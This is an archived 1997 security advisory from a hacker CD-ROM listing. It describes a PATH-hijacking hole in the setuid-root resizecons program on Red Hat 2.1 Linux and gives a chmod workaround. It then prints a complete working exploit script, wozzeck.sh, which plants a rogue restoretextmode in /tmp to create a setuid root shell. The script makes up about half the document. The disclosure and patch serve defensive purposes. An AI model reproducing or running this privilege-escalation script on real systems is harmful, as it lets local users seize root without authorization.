home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / linux / linux-~3.asc < prev    next >
Encoding:
Text File  |  1997-03-11  |  2.7 KB  |  77 lines

  1.  
  2.  
  3.  
  4.  
  5.    There is a security hole in RedHat 2.1, which installs the program
  6.  
  7. /usr/bin/resizecons suid root.  The resizecons program allows a user
  8.  
  9. to change the videmode of the console.  During this process, it runs
  10.  
  11. the program restoretextmode without an absolute pathname, assuming the
  12.  
  13. correct version will be found in the path, while running with root
  14.  
  15. privileges.  It then executes setfont in the same manner.  By setting
  16.  
  17. the path to find a rogue restoretextmode, a user can execute an arbitrary
  18.  
  19. program as root.
  20.  
  21.    As a more amusing aside, the file /tmp/selection.pid is read and the
  22.  
  23. pid contained within is sent a SIGWINCH, allowing a user on the system
  24.  
  25. to force a redraw of the screen to an arbitrary process (that handles 
  26.  
  27. SIGWINCH calls) on the machine. 
  28.  
  29.    If /usr/bin/resizecons needs to be run by users other than root at the
  30.  
  31. console, provisions need to be made in the code to execute the outside
  32.  
  33. utilities with absolute pathnames, and to check access rights on files
  34.  
  35. before opening.
  36.  
  37.  
  38.  
  39.                    Program: /usr/bin/resizecons
  40.  
  41. Affected Operating Systems: Red Hat 2.1 linux distribution
  42.  
  43.               Requirements: account on system
  44.  
  45.            Temporary Patch: chmod -s /usr/bin/resizecons
  46.  
  47.        Security Compromise: root
  48.  
  49.                     Author: Dave M. (davem@cmu.edu)
  50.  
  51.                   Synopsis: resizecons runs restoretextmode without an
  52.  
  53.                             absolute pathname while executing as root,
  54.  
  55.                             allowing a user to substitute the real
  56.  
  57.                             program with arbitrary commands.
  58.  
  59.  
  60.  
  61. Exploit:
  62.  
  63.  
  64.  
  65. wozzeck.sh:
  66.  
  67. #!/bin/sh
  68.  
  69. #
  70.  
  71. # wozzeck.sh
  72.  
  73. # exploits a security hole in /usr/bin/resizecons 
  74.  
  75. # to create a suid root shell in /tmp/wozz on a 
  76.  
  77. # linux Red Hat 2.1 system.
  78.  
  79. #
  80.  
  81. # by Dave M. (davem@cmu.edu)
  82.  
  83.  
  84. echo ================ wozzeck.sh - gain root on Linux Red Hat 2.1 system
  85.  
  86. echo ================ Checking system vulnerability
  87.  
  88. if test -u /usr/bin/resizecons
  89.  
  90. then
  91.  
  92. echo ++++++++++++++++ System appears vulnerable.
  93.  
  94. cd /tmp
  95.  
  96. cat << _EOF_ > /tmp/313x37
  97.  
  98. This exploit is dedicated to 
  99.  
  100. Wozz.  Use it with care.
  101.  
  102. _EOF_
  103.  
  104. cat << _EOF_ > /tmp/restoretextmode
  105.  
  106. #!/bin/sh
  107.  
  108. /bin/cp /bin/sh /tmp/wozz
  109.  
  110. /bin/chmod 4777 /tmp/wozz
  111.  
  112. _EOF_
  113.  
  114. /bin/chmod +x /tmp/restoretextmode
  115.  
  116. PATH=/tmp
  117.  
  118. echo ================ Executing resizecons
  119.  
  120. /usr/bin/resizecons 313x37
  121.  
  122. /bin/rm /tmp/restoretextmode
  123.  
  124. /bin/rm /tmp/313x37
  125.  
  126. if test -u /tmp/wozz
  127.  
  128. then
  129.  
  130. echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/wozz
  131.  
  132. else
  133.  
  134. echo ---------------- Exploit failed
  135.  
  136. fi
  137.  
  138. else
  139.  
  140. echo ---------------- This machine does not appear to be vulnerable.
  141.  
  142. fi
  143.  
  144.  
  145.  
  146.  
  147.  
  148.  
  149.  
  150.  
  151.  
  152.